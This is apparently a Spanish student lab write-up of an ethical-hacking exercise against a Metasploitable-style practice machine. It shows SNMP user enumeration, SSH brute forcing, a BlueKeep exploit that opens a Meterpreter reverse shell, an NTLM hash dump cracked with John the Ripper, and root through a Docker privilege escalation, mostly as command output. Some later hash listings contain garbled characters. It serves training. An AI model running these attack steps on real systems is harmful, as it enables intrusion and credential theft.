



# METASPLOIT MISC

## HACKING ETICO

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## Ssh bruteforce.

Obtención de lista de usuarios mediante NMAP.

```
(kali㉿kali)-[~]
└─$ sudo nmap -sU -p 161 --script "/usr/share/nmap/scripts/snmp-win32-users.nse" 192.168.56.102
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-07 17:21 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.102
Host is up (0.00091s latency).

PORT      STATE SERVICE
161/udp   open  snmp
| snmp-win32-users:
|   Administrator
|   Guest
|   anakin_skywalker
|   artoo_detoo
|   attacker
|   ben_kenobi
|   boba_fett
|   c_three_pio
|   chewbacca
|   darth_vader
|   greedo
|   han_solo
|   jabba_hutt
|   jarjar_binks
|   kylo_ren
|   lando_calrissian
|   leia_organa
|   luke_skywalker
|   sshd
|   sshd_server
|_  vagrant
MAC Address: 08:00:27:D7:CC:D8 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.55 seconds
```

Obtención de lista de usuarios mediante Metasploit.

Buscamos el modulo que queremos.

```
msf6 > search snmp type:auxiliary

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -
0  auxiliary/scanner/snmp/aix_version        normal          No    AIX SNMP Scanner Auxiliary Module
1  auxiliary/scanner/snmp/sbg6580_enum      normal          No    ARRIS / Motorola SBG6580 Cable Modem SNMP Enumeration Module
2  auxiliary/scanner/snmp/arris_dg950       normal          No    Arris DG950A Cable Modem Wifi Enumeration
3  auxiliary/scanner/snmp/brocade_enumhash  normal          No    Brocade Password Hash Enumeration
4  auxiliary/scanner/snmp/cnpilot_r_snmp_loot normal          No    Cambium cnPilot r200/r201 SNMP Enumeration
5  auxiliary/scanner/snmp/epmp1000_snmp_loot normal          No    Cambium ePMP 1000 SNMP Enumeration
6  auxiliary/admin/networking/cisco_asa_extrabacon normal        Yes    Cisco ASA Authentication Bypass (EXTRABACON)
7  auxiliary/scanner/snmp/cisco_config_tftp normal          No    Cisco IOS SNMP Configuration Grabber (TFTP)
8  auxiliary/scanner/snmp/cisco_upload_file normal          No    Cisco IOS SNMP File Upload (TFTP)
9  auxiliary/scanner/snmp/snmp_enum_hp_laserjet normal        No    HP LaserJet Printer SNMP Enumeration
10 auxiliary/admin/scada/moxa_credentials_recovery 2015-07-28     normal    Yes    Moxa Device Credential Retrieval
11 auxiliary/scanner/snmp/netopia_enum      normal          No    Netopia 3347 Cable Modem Wifi Enumeration
12 auxiliary/scanner/misc/oki_scanner       normal          No    OKI Printer Default Login Credential Scanner
13 auxiliary/scanner/snmp/snmp_login       normal          No    SNMP Community Login Scanner
14 auxiliary/scanner/snmp/snmp_enum        normal          No    SNMP Enumeration Module
15 auxiliary/scanner/snmp/snmp_set         normal          No    SNMP Set Module
16 auxiliary/scanner/snmp/snmp_enumshares  normal          No    SNMP Windows SMB Share Enumeration
17 auxiliary/scanner/snmp/snmp_enumusers   normal          No    SNMP Windows Username Enumeration
18 auxiliary/scanner/snmp/ubee_ddw3611     normal          No    Ubee DDW3611b Cable Modem Wifi Enumeration
19 auxiliary/scanner/snmp/xerox_workcentre_enumusers normal        No    Xerox WorkCentre User Enumeration (SNMP)

Interact with a module by name or index. For example info 19, use 19 or use auxiliary/scanner/snmp/xerox_workcentre_enumusers
```

Lo seleccionamos.

```
16 auxiliary/scanner/snmp/snmp_enumshares
17 auxiliary/scanner/snmp/snmp_enumusers
18 auxiliary/scanner/snmp/ubee_ddw3611
19 auxiliary/scanner/snmp/xerox_workcentre_enumusers

leia_organa
luke_skywalker

Interact with a module by name or index. For example info 17, use 17 or use auxiliary/scanner/snmp/snmp_enumusers
msf6 > use 17
msf6 auxiliary(scanner/snmp/snmp_enumusers) > ^[i]vir
```

Aquí tenemos la lista de usuarios.

```
msf6 auxiliary(scanner/snmp/snmp_enumusers) > set rhosts 192.168.56.102
rhosts => 192.168.56.102
msf6 auxiliary(scanner/snmp/snmp_enumusers) > exploit

[*] 192.168.56.102:161 Found 21 users: Administrator, Guest, anakin_skywalker, artoo_detoo, attacker, ben_kenobi, boba_fett, c_three_pio, chewbacca, darth_vader, greedo, han_solo, jabba_hutt, jarjar_binks, kylo_ren, lando_calrissian, leia_organa, luke_skywalker, sshd, sshd_server, vagrant
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/snmp/snmp_enumusers) > 
```

Y aquí la vemos guardada en creds.

```
msf6 auxiliary(scanner/snmp/snmp_enumusers) > notes 192.168.56.102

Notes

Time           Host           Service  Port  Protocol  Type  Data
-----
2024-02-06 22:15:47 UTC 192.168.56.102 host.os.nessus_fingerprint {os=>"Microsoft Windows Server 2008 R2 Standard Service Pack 1"}
2024-02-06 22:15:47 UTC 192.168.56.102 host.imported {filename=>"/home/kali/Downloads/Advanced Scan-Windows-Ubuntu-tjqkee.nessus", :type=>"Nessus XML (v2)", :time=>2024-02-06 22:19:53.096685493 UTC}
2024-02-06 22:19:53 UTC 192.168.56.102 host.os.nmap_fingerprint {os_vendor=>"Microsoft", :os_family=>"Windows", :os_version=>"7", :os_accuracy=>100}
2024-02-06 22:19:53 UTC 192.168.56.102 host.last_boot {time=>"Tue Feb 13 17:43:49 2024"}
2024-03-03 16:49:08 UTC 192.168.56.102 glassfish.banner {}
2024-03-06 11:52:35 UTC 192.168.56.102 host.os.session_fingerprint {name=>"VAGRANT-2008R2", :os=>"Windows Server 2008 R2 (6.1 Build 7601, Service Pack 1).", :arch=>"x64"}
2024-03-07 22:24:20 UTC 192.168.56.102 snmp 161 udp snmp.users ["Administrator", "Guest", "anakin_skywalker", "artoo_detoo", "attacker", "ben_kenobi", "boba_fett", "c_three_pio", "chewbacca", "darth_vader", "greedo", "han_solo", "jabba_hutt", "jarjar_binks", "kylo_ren", "lando_calrissian", "leia_organa", "luke_skywalker", "sshd", "sshd_server", "vagrant"]
```

## Fuerza bruta

Para convertir todos los usuarios a una lista para usarla como diccionario he usado un script en python.

```
(kali@kali)-[~]
└─$ cat script.py
#!/usr/bin/env python3

usuarios = ["Administrator", "Guest", "anakin_skywalker", "artoo_detoo", "attacker", "ben_kenobi", "boba_fett", "c_three_pio", "chewbacca", "darth_vader", "greedo", "han_solo", "jabba_hutt", "jarjar_binks", "kylo_ren", "lando_calrissian", "leia_organa", "luke_skywalker", "sshd", "sshd_server", "vagrant"]

# Abre un archivo en modo escritura
with open("usuarios.txt", "w") as archivo:
    # Escribe cada usuario en una línea del archivo
    for usuario in usuarios:
        archivo.write(usuario + "\n")
```

El script crea el archivo de texto y escribe en él cada usuario de la lista 'usuarios', y los coloca en líneas separadas.

```
(kali@kali)-[~]
└─$ emacs script.py
(kali@kali)-[~]
└─$ ./script.py
(kali@kali)-[~]
└─$ ls
adduser.exe          catalyst-setup-0.10.3  Eric          iexplore_pwned.exe    jenkins.exe    PrácticaHacking    Public    Templates
allPorts             Desktop                example.crt   INITIAL_API_KEY       Music          PrácticaMSFVENOM   putty.exe usuarios.txt
backdoor.php         Documents              example.key   install_catalyst.sh   passwords.txt  PrácticaPKIPAR     script.py videos
catalyst_install.zip Downloads              get-pip.py   install_volatility.sh  Pictures       Prueba             script.py~ wordlist

(kali@kali)-[~]
└─$ cat usuarios.txt
Administrator
Guest
anakin_skywalker
artoo_detoo
attacker
ben_kenobi
boba_fett
c_three_pio
chewbacca
darth_vader
greedo
han_solo
jabba_hutt
jarjar_binks
kylo_ren
lando_calrissian
leia_organa
luke_skywalker
sshd
sshd_server
vagrant
```



Fuerza bruta a los usuarios de la lista.

```
msf6 auxiliary(scanner/snmp/snmp_enumusers) > search ssh_login

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -              -    -    -
0  auxiliary/scanner/ssh/ssh_login          normal          No    SSH Login Check Scanner
1  auxiliary/scanner/ssh/ssh_login_pubkey   normal          No    SSH Public Key Login Scanner

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/ssh/ssh_login_pubkey

msf6 auxiliary(scanner/snmp/snmp_enumusers) > use 0
msf6 auxiliary(scanner/ssh/ssh_login) > |
```

```
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.56.102
rhosts => 192.168.56.102
msf6 auxiliary(scanner/ssh/ssh_login) > set pass_file /home/kali/Downloads/rockyou.txt
pass_file => /home/kali/Downloads/rockyou.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set user_file /home/kali/
user_file => /home/kali/

.rhosts
.cache
.config
.dbus
.dnrc
.emacs.d
.face
.face.icon
.gnupg
.gvfs
.java
.local
.mozila
.msf4
.oh-my-bash
.osh-update
.profile
.rnd
.sdirs
.ssh
.sudo_as_admin_successful
.vboxclient-clipboard-tty7-control.pid
.vboxclient-clipboard-tty7-service.pid
.vboxclient-display-svga-x11-tty7-control.pid
.vboxclient-display-svga-x11-tty7-service.pid
.vboxclient-draganddrop-tty7-control.pid
.vboxclient-draganddrop-tty7-service.pid
.vboxclient-hostversion-tty7-control.pid
.vboxclient-seamless-tty7-control.pid
.vboxclient-seamless-tty7-service.pid
.vboxclient-vmsvga-session-tty7-control.pid

.adduser.exe
.allPorts
.backdoor.php
.catalyst-setup-0.10.3
.catalyst_install.zip
.example.crt
.example.key
.get-pip.py
.iexplore_pwned.exe
.install_catalyst.sh
.install_volatility.sh
.jenkins.exe
.passwords.txt
.putty.exe
.script.py
.script.py~
.usuarios.txt
.wordlist

.wget-hsts
.xsession-errors
.xsession-errors.old
.zsh_history
.zshrc
.Desktop
.Documents
.Downloads
.Eric
.INITIAL_API_KEY
.Music
.Pictures
.Prueba
.PracticaHacking
.PracticaMSFVENOM
.PracticaPKIPAR
.Public
.Templates
.Videos
```

No ha habido suerte con el archivo rockyou.txt

```
msf6 auxiliary(scanner/ssh/ssh_login) > exploit

[*] 192.168.56.102:22 - Starting bruteforce
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) > creds
Credentials

host  origin  service  public  private  realm  private_type  JtR Format  cracked_password
```

# Meterpreter y Hashes.

Aquí tenemos la sesión iniciada.

```
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit

[*] Exploit completed, but no session was created.
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit

[*] Started reverse TCP handler on 192.168.56.103:4444
[*] 192.168.56.102:3389 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.56.102:3389 - Using auxiliary/scanner/rdp/cve_2019_0708_bluekeep as check
[+] 192.168.56.102:3389 - The target is vulnerable. The target attempted cleanup of the incorrect
[*] 192.168.56.102:3389 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.56.102:3389 - The target is vulnerable. The target attempted cleanup of the incorrect
[*] 192.168.56.102:3389 - Using CHUNK grooming strategy. Size 250MB, target address 0xfffffa8011e
[!] 192.168.56.102:3389 - <-----| Entering Danger Zone |----->
[*] 192.168.56.102:3389 - Surfing channels ...
[*] 192.168.56.102:3389 - Lobbing eggs ...
[*] 192.168.56.102:3389 - Forcing the USE of FREE'd object ...
[!] 192.168.56.102:3389 - <-----| Leaving Danger Zone |----->
[*] Sending stage (201798 bytes) to 192.168.56.102
[*] Meterpreter session 16 opened (192.168.56.103:4444 -> 192.168.56.102:49281) at 2024-03-07 19:

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b::
anakin_skywalker:1011:aad3b435b51404eeaad3b435b51404ee:c706f83a7b17a0230e55cde2f3de94fa::
artoo_detoo:1007:aad3b435b51404eeaad3b435b51404ee:fac6aada8b7afc418b3afea63b7577b4::
attacker:1019:aad3b435b51404eeaad3b435b51404ee:ac288d0d650702712a6a0f16eb935f1e::
ben_kenobi:1009:aad3b435b51404eeaad3b435b51404ee:4fb77d816bce7aeee80d7c2e5e55c859::
boba_fett:1014:aad3b435b51404eeaad3b435b51404ee:d60f9a4859da4feadaf160e97d200dc9::
chewbacca:1017:aad3b435b51404eeaad3b435b51404ee:e7200536327ee731c7fe136af4575ed8::
c_three_pio:1008:aad3b435b51404eeaad3b435b51404ee:0fd2eb40c4aa690171ba066c037397ee::
darth_vader:1010:aad3b435b51404eeaad3b435b51404ee:b73a851f8ecff7acafbaa4a806aea3e0::
greedo:1016:aad3b435b51404eeaad3b435b51404ee:ce269c6b7d9e2f1522b44686b49082db::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::
han_solo:1006:aad3b435b51404eeaad3b435b51404ee:33ed98c5969d05a7c15c25c99e3ef951::
jabba_hutt:1015:aad3b435b51404eeaad3b435b51404ee:93ec4eaa63d63565f37fe7f28d99ce76::
jarjar_binks:1012:aad3b435b51404eeaad3b435b51404ee:ec1dcd52077e75aef4a1930b0917c4d4::
kylo_ren:1018:aad3b435b51404eeaad3b435b51404ee:74c0a3dd06613d3240331e94ae18b001::
lando_calrissian:1013:aad3b435b51404eeaad3b435b51404ee:62708455898f2d7db11cfb670042a53f::
leia_organa:1004:aad3b435b51404eeaad3b435b51404ee:8ae6a810ce203621cf9cfa6f21f14028::
luke_skywalker:1005:aad3b435b51404eeaad3b435b51404ee:481e6150bde6998ed22b0e9bac82005a::
sshd:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::
```

Observamos cómo se nos ha guardado todo.

```
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > creds
Credentials
```

host	origin	service	public	private	realm	private_type	3tR
Format	cracked_password						
192.168.56.102	192.168.56.102	445/tcp (smb)	Administrator	aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b::		NTLM hash	nt,l
192.168.56.102	192.168.56.102	445/tcp (smb)	anakin_skywalker	aad3b435b51404eeaad3b435b51404ee:c706f83a7b17a0230e55cde2f3de94fa::		NTLM hash	nt,l
192.168.56.102	192.168.56.102	445/tcp (smb)	artoo_detoo	aad3b435b51404eeaad3b435b51404ee:fac6aada8b7afc418b3afea63b7577b4::		NTLM hash	nt,l
192.168.56.102	192.168.56.102	445/tcp (smb)	attacker	aad3b435b51404eeaad3b435b51404ee:ac288d0d650702712a6a0f16eb935f1e::		NTLM hash	nt,l
192.168.56.102	192.168.56.102	445/tcp (smb)	ben_kenobi	aad3b435b51404eeaad3b435b51404ee:4fb77d816bce7aeee80d7c2e5e55c859::		NTLM hash	nt,l
192.168.56.102	192.168.56.102	445/tcp (smb)	boba_fett	aad3b435b51404eeaad3b435b51404ee:d60f9a4859da4feadaf160e97d200dc9::		NTLM hash	nt,l
192.168.56.102	192.168.56.102	445/tcp (smb)	chewbacca	aad3b435b51404eeaad3b435b51404ee:e7200536327ee731c7fe136af4575ed8::		NTLM hash	nt,l
192.168.56.102	192.168.56.102	445/tcp (smb)	c_three_pio	aad3b435b51404eeaad3b435b51404ee:0fd2eb40c4aa690171ba066c037397ee::		NTLM hash	nt,l
192.168.56.102	192.168.56.102	445/tcp (smb)	darth_vader	aad3b435b51404eeaad3b435b51404ee:b73a851f8ecff7acafbaa4a806aea3e0::		NTLM hash	nt,l
192.168.56.102	192.168.56.102	445/tcp (smb)	greedo	aad3b435b51404eeaad3b435b51404ee:ce269c6b7d9e2f1522b44686b49082db::		NTLM hash	nt,l
192.168.56.102	192.168.56.102	445/tcp (smb)	han_solo	aad3b435b51404eeaad3b435b51404ee:33ed98c5969d05a7c15c25c99e3ef951::		NTLM hash	nt,l
192.168.56.102	192.168.56.102	445/tcp (smb)	jabba_hutt	aad3b435b51404eeaad3b435b51404ee:93ec4eaa63d63565f37fe7f28d99ce76::		NTLM hash	nt,l
192.168.56.102	192.168.56.102	445/tcp (smb)	jarjar_binks	aad3b435b51404eeaad3b435b51404ee:ec1dcd52077e75aef4a1930b0917c4d4::		NTLM hash	nt,l
192.168.56.102	192.168.56.102	445/tcp (smb)	kylo_ren	aad3b435b51404eeaad3b435b51404ee:74c0a3dd06613d3240331e94ae18b001::		NTLM hash	nt,l
192.168.56.102	192.168.56.102	445/tcp (smb)	lando_calrissian	aad3b435b51404eeaad3b435b51404ee:62708455898f2d7db11cfb670042a53f::		NTLM hash	nt,l
192.168.56.102	192.168.56.102	445/tcp (smb)	leia_organa	aad3b435b51404eeaad3b435b51404ee:8ae6a810ce203621cf9cfa6f21f14028::		NTLM hash	nt,l
192.168.56.102	192.168.56.102	445/tcp (smb)	luke_skywalker	aad3b435b51404eeaad3b435b51404ee:481e6150bde6998ed22b0e9bac82005a::		NTLM hash	nt,l
192.168.56.102	192.168.56.102	445/tcp (smb)	sshd_server	aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::		NTLM hash	nt,l

Para romper estos hashes hacemos uso del módulo crack\_windows que emplea la herramienta JohnTheRipper. Se ha tirado 3 horas y 49min y solo ha conseguido crackear 3.

```
0g 0:03:49:29 3/3 0g/s 34259Kp/s 34259Kc/s 548157KC/s r0ychofy..r0ychyba
Session aborted
[-] Stopping running against current target ...
[*] Control-C again to force quit all targets.
[*] Auxiliary module execution completed
msf6 auxiliary(analyze/crack_windows) > █
```

```
msf6 auxiliary(analyze/crack_windows) > creds
Credentials
```

host	origin	service	public	private	realm	private_type	JtR Format	cracked_password
192.168.56.102	192.168.56.102	445/tcp (smb)	Administrator	aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b	NTLM hash	nt,lm		vagrant
192.168.56.102	192.168.56.102	445/tcp (smb)	anakin_skywalker	aad3b435b51404eeaad3b435b51404ee:c706f83a7b17a0230e55cde2f3de94fa	NTLM hash	nt,lm		
192.168.56.102	192.168.56.102	445/tcp (smb)	artoo_detoo	aad3b435b51404eeaad3b435b51404ee:faceaada8b7afca18b3afea63b7577b4	NTLM hash	nt,lm		
192.168.56.102	192.168.56.102	445/tcp (smb)	attacker	aad3b435b51404eeaad3b435b51404ee:ac288d0d650702712a6a0f16ab935f1e	NTLM hash	nt,lm		
192.168.56.102	192.168.56.102	445/tcp (smb)	ben_kenobi	aad3b435b51404eeaad3b435b51404ee:4fb77d816bce7aeed80d7c2e5e55c859	NTLM hash	nt,lm		
192.168.56.102	192.168.56.102	445/tcp (smb)	boba_fett	aad3b435b51404eeaad3b435b51404ee:d60f9a4859da4feadaf160e97d200dc9	NTLM hash	nt,lm		
192.168.56.102	192.168.56.102	445/tcp (smb)	chewbacca	aad3b435b51404eeaad3b435b51404ee:e7200536327ee731c7fe136af4575ed8	NTLM hash	nt,lm		
192.168.56.102	192.168.56.102	445/tcp (smb)	c_three_pio	aad3b435b51404eeaad3b435b51404ee:0fd2eb40c4aa69017ba066c037397ee	NTLM hash	nt,lm		pr0t0c0l
192.168.56.102	192.168.56.102	445/tcp (smb)	darth_vader	aad3b435b51404eeaad3b435b51404ee:b73a851f8ecff7acafbaa4a806aea3e0	NTLM hash	nt,lm		
192.168.56.102	192.168.56.102	445/tcp (smb)	greedo	aad3b435b51404eeaad3b435b51404ee:ce269c6b7d9e2f1522b44686b49082db	NTLM hash	nt,lm		
192.168.56.102	192.168.56.102	445/tcp (smb)	han_solo	aad3b435b51404eeaad3b435b51404ee:33ed98c5969d05a7c15c25c99e3ef951	NTLM hash	nt,lm		
192.168.56.102	192.168.56.102	445/tcp (smb)	jabba_hutt	aad3b435b51404eeaad3b435b51404ee:93ec4eaag3d63565f37fe7f28d99ce76	NTLM hash	nt,lm		
192.168.56.102	192.168.56.102	445/tcp (smb)	jorjar_binks	aad3b435b51404eeaad3b435b51404ee:ec10cd52077e75aef4a1930b0917c4d4	NTLM hash	nt,lm		
192.168.56.102	192.168.56.102	445/tcp (smb)	kyl0_ren	aad3b435b51404eeaad3b435b51404ee:74c0a3dd06613d3240331e94ae18b001	NTLM hash	nt,lm		
192.168.56.102	192.168.56.102	445/tcp (smb)	lando_calrissian	aad3b435b51404eeaad3b435b51404ee:62708455898f2d7db11cfb670042a53f	NTLM hash	nt,lm		
192.168.56.102	192.168.56.102	445/tcp (smb)	leia_organa	aad3b435b51404eeaad3b435b51404ee:8a6ea810ce203621cf9cfa6f21f1402b	NTLM hash	nt,lm		
192.168.56.102	192.168.56.102	445/tcp (smb)	luke_skywalker	aad3b435b51404eeaad3b435b51404ee:481e6150bde6998ed22b0e9bac82005a	NTLM hash	nt,lm		
192.168.56.102	192.168.56.102	445/tcp (smb)	ssh_server	aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d00ec27035	NTLM hash	nt,lm		
192.168.56.102	192.168.56.102	445/tcp (smb)	vagrant	aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b	NTLM hash	nt,lm		vagrant

```
msf6 auxiliary(analyze/crack_windows) > █
```

Usando john the ripper fuera de msfconsole hemos encontrado vagrant, pongo captura para que se vea que lo he intentado de dos formas, aunque para esta segunda lo he cancelado en 15min porque no quiero perder más tiempo, ya que la máquina me va lenta.

```
(kali㉿kali)-[~]
└─$ john --format=nt hashes.txt
Using default input encoding: UTF-8
Loaded 19 password hashes with no different salts (NT [MD4 128/128 SSE2
4x3])
Warning: no OpenMP support for this hash type, consider --fork=3
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort,almost any other key for status
Almost done: Processing the remaining buffered passwords, if
any.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
0g 0:00:08:33 3/3 0g/s 33327Kp/s 33327Kc/s 633222KC/s 21ccotan..21ccot
s6
vagrant (aad3b435b51404eeaad3b435b51404ee)
vagrant (aad3b435b51404eeaad3b435b51404ee)
2g 0:00:13:40 3/3 0.002438g/s 32953Kp/s 32953Kc/s 622342KC/s m2f4cek..m2f4cci
█
```



## Elevación de privilegios

Listado de usuarios de Docker.

```
grep docker /etc/group
docker:x:999:boba_fett,jabba_hutt,greedo,chewbacca
```

Vamos a usar esto que ya hemos sacado de prácticas anteriores, donde podemos encontrar varias contraseñas de los usuarios anteriormente cogidos de docker.

	user name	real name	real name	password
<input type="checkbox"/> Edit <input type="checkbox"/> Copy <input type="checkbox"/> Delete	leia_organa	Leia	Organa	help_me_obiwan
<input type="checkbox"/> Edit <input type="checkbox"/> Copy <input type="checkbox"/> Delete	luke_skywalker	Luke	Skywalker	like_my_father_befo
<input type="checkbox"/> Edit <input type="checkbox"/> Copy <input type="checkbox"/> Delete	han_solo	Han	Solo	nerf_herder
<input type="checkbox"/> Edit <input type="checkbox"/> Copy <input type="checkbox"/> Delete	artoo_detoo	Artoo	Detoo	b00p_b33p
<input type="checkbox"/> Edit <input type="checkbox"/> Copy <input type="checkbox"/> Delete	c_three_pio	C	Threepio	Pr0t0c07
<input type="checkbox"/> Edit <input type="checkbox"/> Copy <input type="checkbox"/> Delete	ben_kenobi	Ben	Kenobi	thats_no_m00n
<input type="checkbox"/> Edit <input type="checkbox"/> Copy <input type="checkbox"/> Delete	darth_vader	Darth	Vader	Dark_syD3
<input type="checkbox"/> Edit <input type="checkbox"/> Copy <input type="checkbox"/> Delete	anakin_skywalker	Anakin	Skywalker	but_master:(
<input type="checkbox"/> Edit <input type="checkbox"/> Copy <input type="checkbox"/> Delete	jarjar_binks	Jar-Jar	Binks	mesah_p@ssw0rd
<input type="checkbox"/> Edit <input type="checkbox"/> Copy <input type="checkbox"/> Delete	lando_calrissian	Lando	Calrissian	@dm1n1str8r
<input type="checkbox"/> Edit <input type="checkbox"/> Copy <input type="checkbox"/> Delete	boba_fett	Boba	Fett	mandalorian1
<input type="checkbox"/> Edit <input type="checkbox"/> Copy <input type="checkbox"/> Delete	jabba_hutt	Jaba	Hutt	my_kind_a_skum

Nos conectaremos por ssh al usuario boba\_fett.

```
msf6 auxiliary(scanner/ssh/ssh_login) > show options
Module options (auxiliary/scanner/ssh/ssh_login):

  Name           Current Setting  Required  Description
  ---
  ANONYMOUS_LOGIN false           no        Attempt to login with a blank username and password
  BLANK_PASSWORDS false           no        Try blank passwords for all users
  BRUTEFORCE_SPEED 5               yes       How fast to bruteforce, from 0 to 5
  DB_ALL_CREDS     false          no        Try each user/password couple stored in the current database
  DB_ALL_PASS      false          no        Add all passwords in the current database to the list
  DB_ALL_USERS     false          no        Add all users in the current database to the list
  DB_SKIP_EXISTING none           no        Skip existing credentials stored in the current database (Accepted: none, user, user@realm)
  PASSWORD         mandalorian1    no        A specific password to authenticate with
  PASS_FILE        none           no        File containing passwords, one per line
  RHOSTS           192.168.56.101 yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT           22             yes       The target port
  STOP_ON_SUCCESS  false          yes       Stop guessing when a credential works for a host
  THREADS         1              yes       The number of concurrent threads (max one per host)
  USERNAME         boba_fett      no        A specific username to authenticate as
  USERPASS_FILE    none           no        File containing users and passwords separated by space, one pair per line
  USER_AS_PASS     false          no        Try the username as the password for all users
  USER_FILE        none           no        File containing usernames, one per line
  VERBOSE         false          yes       Whether to print output for all attempts
```

Haremos un set sesión 1.

```
msf6 auxiliary(scanner/ssh/ssh_login) > show sessions
msf6 auxiliary(scanner/ssh/ssh_login) >
Active sessions
=====
```

Id	Name	Type	Information	Connection
1		shell linux	SSH kali @	192.168.56.103:43013 → 192.168.56.101:22 (192.168.56.101)


Ahora con la sesión ya puesta, podremos usar el modulo Linux/local/docker\_daemon\_privilege\_escalation.

```
msf6 exploit(linux/local/docker_daemon_privilege_escalation) > exploit

[*] Started reverse TCP handler on 192.168.56.103:4444
[!] SESSION may not be compatible with this module:
[!] * Unknown session arch
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Docker daemon is accessible.
[+] The target is vulnerable.
[*] Writing payload executable to '/tmp/ScDmQucd'
[*] Executing script to create and run docker container
[*] Waiting 60s for payload
[*] Exploit completed, but no session was created.
msf6 exploit(linux/local/docker_daemon_privilege_escalation) >
```

Como podemos observar no ha funcionado, se debe a que el payload no es compatible.

Después de un rato buscando, he encontrado este payload que si funciona, Linux/x86/meterpreter/reverse\_tcp. (creo que hubiese funcionado con cualquiera que me diese una Shell meterpreter).

```
Payload options (linux/x86/meterpreter/reverse_tcp): msf6 > 

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.56.103   yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port


Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

msf6 exploit(linux/local/docker_daemon_privilege_escalation) > exploit

[*] Started reverse TCP handler on 192.168.56.103:4444
[!] SESSION may not be compatible with this module:
[!] * Unknown session arch
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Docker daemon is accessible.
[+] The target is vulnerable.
[*] Writing payload executable to '/tmp/ZmbrwWlyEI'
[*] Executing script to create and run docker container
[*] Sending stage (1017704 bytes) to 192.168.56.101
[*] Waiting 60s for payload
[+] Deleted /tmp/ZmbrwWlyEI
[*] Meterpreter session 2 opened (192.168.56.103:4444 → 192.168.56.101:34547) at 2024-03-09 08:15:58 -0500

meterpreter > getuid
Server username: root
meterpreter > 
```